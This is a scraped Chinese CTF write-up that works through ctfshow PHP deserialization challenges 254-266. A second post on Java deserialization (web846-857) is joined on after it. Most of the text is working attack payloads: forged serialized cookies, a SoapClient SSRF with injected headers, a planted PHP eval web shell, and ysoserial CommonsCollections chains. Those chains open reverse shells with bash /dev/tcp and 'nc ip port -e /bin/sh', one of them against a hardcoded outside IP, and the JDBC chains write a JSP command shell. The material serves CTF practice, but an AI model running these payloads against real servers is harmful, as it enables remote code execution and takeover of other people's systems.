ctfshow web入门 反序列化 前篇 254-266

Posted 练习两年半的篮球选..哦不对安全选手

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ctfshow web入门 反序列化 前篇 254-266相关的知识,希望对你有一定的参考价值。

这里266后面主要是框架,以后在讲

反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结


web254

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip()
        return $this->isVip;
    
    public function login($u,$p)
        if($this->username===$u&&$this->password===$p)
            $this->isVip=true;
        
        return $this->isVip;
    
    public function vipOneKeyGetFlag()
        if($this->isVip)
            global $flag;
            echo "your flag is ".$flag;
        else
            echo "no vip, no flag";
        
    


$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password))
    $user = new ctfShowUser();
    if($user->login($username,$password))
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
        
    else
        echo "no vip,no flag";
    
 

这里分析一下,我们通过get可以传参两个值,这里他会自动new一个类,我们传的参就会被送入login中做强比较,只要我们传入的值等于$username和$password的值,我们就可以获得flag了

payload: ?username=xxxxxx&password=xxxxxx

web255

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip()
        return $this->isVip;
    
    public function login($u,$p)
        return $this->username===$u&&$this->password===$p;
    
    public function vipOneKeyGetFlag()
        if($this->isVip)
            global $flag;
            echo "your flag is ".$flag;
        else
            echo "no vip, no flag";
        
    


$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password))
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password))
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
        
    else
        echo "no vip,no flag";
    

这里和有一些是不一样的,就是我们通过cookie传参,还要进行一次反序列化,而且不会讲isVIP的值设置成true了,所以需要我们自己设置一下。

<?php

class ctfShowUser
    public $isVip=true; 


echo urlencode(serialize(new ctfShowUser));
payload:
    get传: ?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D

web256

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip()
        return $this->isVip;
    
    public function login($u,$p)
        return $this->username===$u&&$this->password===$p;
    
    public function vipOneKeyGetFlag()
        if($this->isVip)
            global $flag;
            if($this->username!==$this->password)
                    echo "your flag is ".$flag;
              
        else
            echo "no vip, no flag";
        
    


$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password))
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password))
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
        
    else
        echo "no vip,no flag";
    

 这里主要的就是这两部分,首先我们传入的值要等于他的值,然后username和password属性不能相等

    public function login($u,$p)
        return $this->username===$u&&$this->password===$p;
    

    if($this->username!==$this->password)
        echo "your flag is ".$flag;
    

这里我们生成序列化,设置username为a,password为b,然后get传值a和b就可以了,注意如果下面使用了数字记得用引号包裹,因为我们通过get传输的值是字符串类型的,如果我们这里设置了整数型,那么这两个是不相等的。

<?php

class ctfShowUser
    public $username='a';
    public $password='b'; 
    public $isVip=true; 


echo urlencode(serialize(new ctfShowUser));
payload:
    get传:?username=a&password=b
    cookie传:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

<?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct()
        $this->class=new info();
    
    public function login($u,$p)
        return $this->username===$u&&$this->password===$p;
    
    public function __destruct()
        $this->class->getInfo();
    



class info
    private $user='xxxxxx';
    public function getInfo()
        return $this->user;
    


class backDoor
    private $code;
    public function getInfo()
        eval($this->code);
    


$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password))
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);

这里我们注意,先触发__construct,就是给class new了一个info类,他在最后会触发__destruct魔术方法,类中对应的getInfo()方法,但是backDoor类中才可以,我们可以任意命令执行,所以我们要将类执行backDoor。

他原本是用的是private,但是这个版本我们可以使用public

<?php
class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;

class backDoor
    public $code="system('cat flag.php');"; 


$a = new ctfShowUser;
$a -> class = new backDoor;
echo urlencode(serialize($a));
payload: //flag在源代码中查看
    get传:?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258

 <?php

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct()
        $this->class=new info();
    
    public function login($u,$p)
        return $this->username===$u&&$this->password===$p;
    
    public function __destruct()
        $this->class->getInfo();
    



class info
    public $user='xxxxxx';
    public function getInfo()
        return $this->user;
    


class backDoor
    public $code;
    public function getInfo()
        eval($this->code);
    


$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password))
    if(!preg_match('/[oc]:\\d+:/i', $_COOKIE['user']))
        $user = unserialize($_COOKIE['user']);
    
    $user->login($username,$password);

这里相对于web257就加了一个过滤,这里我们可以使用加号绕过
<?php
class ctfShowUser
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;

class backDoor
    public $code="system('cat flag.php');"; 


$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);
payload: //flag在源代码中查看
    get传:?username=xxxxxx&password=xxxxxx
    cookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
//flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1')
	die('error');
else
	$token = $_POST['token'];
	if($token=='ctfshow')
		file_put_contents('flag.txt',$flag);
	

这里进去只有第一个代码,第二个是题目给我们的,这里扫描目录没有发现其他东西,那么证明基本就只有这两个东西。

这里flag.php中,这段代码只能在本地运行,因为它只接受来自本地IP地址(127.0.0.1)的请求,因为他只能接受本地的ip请求,那么我们的ip在怎么修改也不可能是127.0.0.1,除非存在类似ssrf之类的漏洞。

 这里第一段代码其实可以可以触发__call魔术方法,那么我们其实可以利用SoapClient类

具体理解可以去看我写的php反序列化总结-原生类-SoapClient

接下来我们先本地看看,嗯,没有什么问题

<?php
 
$a = new SoapClient(null, array('location'=>'http://192.168.31.154:54321',
                    'user_agent'=> "aaa\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 13\\r\\n\\r\\ntoken=ctfshow",
                    'uri'=>'http://192.168.31.154:54321'));
$a -> a();

 这里我们通过,分隔,array_pop会弹出两个,获取第一个

就是说我们传入1.1.1.1,2.2.2.2,3.3.3.3

最后赋值给$ip的只有1.1.1.1

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
//最终payload
<?php
 
$a = new SoapClient(null, array('location'=>'http://127.0.0.1/flag.php',
                    'user_agent'=> "aaa\\r\\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 13\\r\\n\\r\\ntoken=ctfshow",
                    'uri'=>'hhttp://127.0.0.1/flag.php'));
echo urlencode(serialize($a));
//传入以后访问flag.txt,获得flag
payload: 
    get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow'])))
    echo $flag;
分析这里他是有进行正则匹配的,只要通过serialize序列化以后还有包括ctfshow_i_love_36D他就会输出flag,但是说只要传传入ctfshow_i_love_36D就会肯定有这个字符串
payload:
    get传:?ctfshow=ctfshow_i_love_36D

web261

<?php

highlight_file(__FILE__);

class ctfshowvip
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p)
        $this->username=$u;
        $this->password=$p;
    
    public function __wakeup()
        if($this->username!='' || $this->password!='')
            die('error');
        
    
    public function __invoke()
        eval($this->code);
    

    public function __sleep()
        $this->username='';
        $this->password='';
    
    public function __unserialize($data)
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    
    public function __destruct()
        if($this->code==0x36d)
            file_put_contents($this->username, $this->password);
        
    


unserialize($_GET['vip']); 

这里我们分析一下,有两个利用点

    public function __invoke()
        eval($this->code);
     

    public function __destruct()
        if($this->code==0x36d)
            file_put_contents($this->username, $this->password);
        
     

但是说第一个eval就是一个陷阱,因为没有地方可以触发__invoke魔术方法

所以我们要触发file_put_contents

注意这里__unserialize是比__wakup优先的,这里赋值了code等于username加上password的值

    public function __unserialize($data)
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    

 继续分析这里这里code,code等于的是一个16进制0x36d,所以就是要弱等于877,所以我们可以让username为877.php,他会检测到点就会停止,所以可以通过判断

    public function __destruct()
        if($this->code==0x36d)
            file_put_contents($this->username, $this->password);
        
     
//最终payload
<?php
class ctfshowvip
    public $username="877.php";
    public $password='<?php eval($_POST[a]);?>';


echo serialize(new ctfshowvip);
//然后访问887.php,通过一句话木马获得flag
payload:
    get传:?vip=O:10:"ctfshowvip":2:s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";

web262

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t)
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    


$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t))
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';


highlight_file(__FILE__);

喵的,我是真的没有看到上面还有一个message.php,扫目录扫了这么久,藏在这里我是真的没有想到

//message.php源码
highlight_file(__FILE__);
include('flag.php');

class message
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t)
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    


if(isset($_COOKIE['msg']))
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin')
        echo $flag;
    

方法1:

我们这里知道了获得flag的条件肯定是直接进行修改token属性的值了呗。

//payload1
<?php
class message
    public $token="admin";


echo base64_encode(serialize(new message));
payload:
    cookie传:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

方法二

按正常方法来我们肯定要使用字符串逃逸的

分析第一段代码,首先我们只能操作的只有f、m、t三个参数,要使token为admin就要覆盖token,我们创建一个token。

首先我们在本地正常序列化一段他的值,那么下面就是我们需要通过增加来拼接的段

";s:5:"token";s:5:"admin";
//长度27

那么就需要27个fuck,来往后移他的值,这里在本地给大家演示一下

<?php
class message
    public $from="1";
    public $msg="1";
    public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";';
    public $token='user';


$a=serialize(new message);
$umsg = str_replace('fuck', 'loveU', $a);
echo $a.PHP_EOL;
echo $umsg.PHP_EOL;
var_dump(unserialize($umsg));

通过本地演示,我们就可以知道他是用";s:5:"token";s:5:"admin";和前面拼接,那么后面的值就被当成垃圾了

O:7:"message":4:s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";";s:5:"token";s:4:"user";

O:7:"message":4:s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";";s:5:"token";s:4:"user";

object(message)#1 (4) 
  ["from"]=>
  string(1) "1"
  ["msg"]=>
  string(1) "1"
  ["to"]=>
  string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"
  ["token"]=>
  string(5) "admin"

payload:
    get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";
//传输好后,他就自动将序列化的值传入cookie msg中,访问message.php就可以获得flag

web263

看这里,因为比较多,我重新搞一篇写这个

ctfshow web入门 反序列化 263

web264

刚一看,差点以为看错了,题目打开错了,但是仔细看还是有一些去区别,就是262从cookie传参变成了session传参,那么就没有第一种方法了

但是他是session的值,我们不能修改,但是session的名还是可以的

payload:
    get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";
    cookie传:msg=1

web265

<?php

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin
    public $token;
    public $password;

    public function __construct($t,$p)
        $this->token=$t;
        $this->password = $p;
    
    public function login()
        return $this->token===$this->password;
    


$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login())
    echo $flag;

这里token他是等于一个随机值的md5,因为没有设置种子的原因, 我们是无法预测他的值是多少,但是password的值要和他相等,看似不可能,但是我们可以将token的值复制给password,那么他们的值一定相等。

//payload
<?php
class ctfshowAdmin
    public $token;
    public $password;

$a = new ctfshowAdmin;
$a -> token = &$a -> password;

echo serialize($a);
payload:
    get传:?ctfshow=O:12:"ctfshowAdmin":2:s:5:"token";N;s:8:"password";R:2;

web266

<?php

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p)
        $this->username=$u;
        $this->password=$p;
    
    public function login()
        return $this->username===$this->password;
    
    public function __toString()
        return $this->username;
    
    public function __destruct()
        global $flag;
        echo $flag;
    

$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs))
    throw new Exception("Error $ctfshowo",1);

这里我们分析一下,因为php://input,那么$cs的值就是我们post传递的值,这里只要__destruct魔术方法执行,我们就可以获得flag,但是这里有一个判断只要我们传输的值有ctfshow就触发自定义报错,那么__destruct就不会执行。

这里我们可以使用大小写来绕过,比较他没有加i,就不会检测大小写。

//payload
<?php

class ctfshow
    public $username;
    public $password;


$a = serialize(new ctfshow);
echo str_replace("ctfshow","CTFSHOW",$a);
payload:
    post传:O:7:"CTFSHOW":2:s:8:"username";N;s:8:"password";N;
//注意这里可以使用burp

 

CTFSHOW web入门 java反序列化篇(更新中)

文章目录


在做这部分题前,推荐大家先去学习下java反序列化,尤其是CC链
可以看下两个系列视频,收获颇多
https://space.bilibili.com/2142877265/channel/collectiondetail?sid=29805&ctype=0

https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.999.0.0&vd_source=23c2bbe4623ae526416ea7a1ec4679fc
从这部分开始看即可

下面大部分题目需要用到ysoserial工具。
工具下载地址链接: https://pan.baidu.com/s/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w
也可下载源码自行构建
https://github.com/frohoff/ysoserial

记得base64编码后的payload再url编码一次

web846

URLDNS链
java -jar ysoserial.jar URLDNS "题目地址"|base64

web847

在ysoserial中cc1、cc3、cc5、cc6、cc7对应的commons-collections:3.1
cc2、cc4对应的commons-collections4:4.0
所以在3.1中随便挑一个运行反弹shell即可。
payload

java -jar ysoserial.jar CommonsCollections1 "bash -c echo,要执行命令的base64编码|base64,-d|bash,-i"|base64 

这里使用bash反弹
bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1

web848

题目中提示不准用TransformedMap类反序列化
导致cc1无法使用更换其他的即可。
payload

java -jar ysoserial.jar CommonsCollections3 "bash -c echo,要执行命令的base64编码|base64,-d|bash,-i"|base64 

web849

首先只能使用cc2或者cc4,并且题目提示需要nc反弹。
那么把命令改成nc ip port -e /bin/sh
payload

java -jar ysoserial.jar CommonsCollections2 "nc ip port -e /bin/sh "|base64 

web850

cc3可用

java -jar ysoserial.jar CommonsCollections3  "bash -c echo,要执行命令的base64编码|base64,-d|bash,-i"|base64

web851-web853

直接用工具打不通了,这里采用的方法是基于cc7改的,改成了适用于commons-collections4的链子

        Transformer[] transformers = new Transformer[]
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]String.class, Class[].class, new Object[]"getRuntime", null),
                new InvokerTransformer("invoke", new Class[]Object.class, Object[].class, new Object[]null, null),
                new InvokerTransformer("exec", new Class[]String.class, new Object[]"nc 1.15.153.196 4567 -e /bin/sh")
        ;
        Transformer transformerChain2 = new ChainedTransformer(transformers);

        //使用Hashtable来构造利用链调用LazyMap
        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();
        Class<DefaultedMap> d = DefaultedMap.class;
        Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
        declaredConstructor.setAccessible(true);
        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);
        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);

        defaultedMap1.put("yy", 1);
        defaultedMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(defaultedMap1, 1);
        hashtable.put(defaultedMap2, 1);
        defaultedMap2.remove("yy");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);

当然你也可以基于cc1、cc3、cc5、cc6来改。

web855

内容比较多,单独写了个https://blog.csdn.net/miuzzx/article/details/128303093

web856

考的jdbc反序列化,以及相关工具的使用
工具下载地址:https://github.com/fnmsd/MySQL_Fake_Server
工具默认开启一个fake mysql,端口为3306。为了防止和本地的mysql冲突,可以改成3307

最终构造如下地址即可
jdbc:mysql://vps地址:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_Jdk7u21_calc
我们要调用的链子是放到user上的
比如我们要使用cc4链子执行calc命令,那么user的值为yso_CommonsCollections4_calc
还有一种方法就是修改工具文件夹里面的config.json

改成上述内容后,我们传入user=yu22x 即可利用cc4链执行calc
我们将命令改成nc反弹shell
nc ip port -e sh
最后就是构造序列化链了

        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"你的vps地址");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,3307);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yu22x","123456"));  //这个地方的yu22x就是我们在config.json里面设的值
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:mysql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
        Utils.Serialize(connection);
        Utils.Deserialize();
        System.out.println(Utils.Serialize_base64(connection));

web857

jdbc反序列化,postgresql
参考文章https://forum.butian.net/share/1339

麻烦的地方就是找他的路径了

        Connection connection = new Connection();
        Class<? extends Connection> aClass = connection.getClass();
        Field driver = aClass.getDeclaredField("driver");
        driver.setAccessible(true);
        driver.set(connection,"org.postgresql.Driver");
        Field host = aClass.getDeclaredField("host");
        host.setAccessible(true);
        host.set(connection,"127.0.0.1");
        Field port = aClass.getDeclaredField("port");
        port.setAccessible(true);
        port.set(connection,5432);
        Field user = aClass.getDeclaredField("user");
        user.setAccessible(true);
        user.set(connection,new User("yu22x","123456"));
        Field schema = aClass.getDeclaredField("schema");
        schema.setAccessible(true);
        schema.set(connection,"jdbc:postgresql");
        Field database = aClass.getDeclaredField("database");
        database.setAccessible(true);
        database.set(connection,"password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/c.jsp&<%Runtime.getRuntime().exec(request.getParameter(\\"i\\"));%>");

访问c.jsp传入i参数即可,写的木马没有回显直接反弹shell
nc ip port -e sh

以上是关于ctfshow web入门 反序列化 前篇 254-266的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞

CTFSHOW web入门 java反序列化篇(更新中)

CTFSHOW web入门 java反序列化篇(更新中)

CTFSHOW web入门 java反序列化篇 web855

CTFSHOW web入门 java反序列化篇 web855

ctfshow web入门 命令执行前篇(web29-web54)